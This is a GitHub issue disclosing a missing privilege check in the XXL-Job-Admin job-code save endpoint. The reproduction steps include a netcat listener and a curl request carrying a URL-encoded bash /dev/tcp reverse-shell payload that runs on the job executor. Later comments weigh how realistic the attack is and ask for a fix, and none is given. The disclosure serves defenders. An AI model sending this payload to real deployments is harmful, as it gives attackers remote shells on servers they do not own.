Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Code Execution in /xxl-job-admin/jobcode/save #3333

Open
N0th1n3 opened this issue Nov 8, 2023 · 4 comments
Open

Remote Code Execution in /xxl-job-admin/jobcode/save #3333

N0th1n3 opened this issue Nov 8, 2023 · 4 comments

Comments

@N0th1n3
Copy link

N0th1n3 commented Nov 8, 2023

Environment

MySQL 5.7.44, XXL-Job-Admin 2.4.0
Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin)
Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor)

Vulnerability Information

It was found that the /xxl-job-admin/jobcode/save does not validate user privilege. The modification of code in running cronjob for job executor does not require privileged user access. By leveraging the vulnerability, users could craft HTTP requests to modify and run arbitrary code (e.g., sensitive information disclosure OR reverse shell) on the job executor.

Steps to reproduce the behavior

Step 1: Create a listener
nc -nlvp 8888
image

Step 2: Create a unprivileged user and get its cookie
image
image

Step 3: Craft an HTTP request for job code saving. This demonstration will be a reverse shell payload.
curl http://<IP Address>:<Port>/xxl-job-admin/jobcode/save --cookie "xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=<Unprivileged Cookie>" -d "id=2&glueSource=%23%2Fbin%2Fbash%0Abash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<Reverse shell IP>%2F<Reverse shell port>%200%3E%261&glueRemark=Test"
image

Step 4. Trigger the cronjob/wait until cronjob executes. A reverse shell will be executed.
image
image

@75ACOL
Copy link

75ACOL commented Nov 23, 2023

Create an unprivileged user and get its cookie, which I don't think is easy for attackers.

@N0th1n3
Copy link
Author

N0th1n3 commented Nov 23, 2023

Agree. The assumption of the attack is that you gained an unprivileged account.

@xiemeng9462
Copy link

所以这个漏洞该怎么修复呢

@liuyucheng182
Copy link

同问,这个漏洞该如何修复呢。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants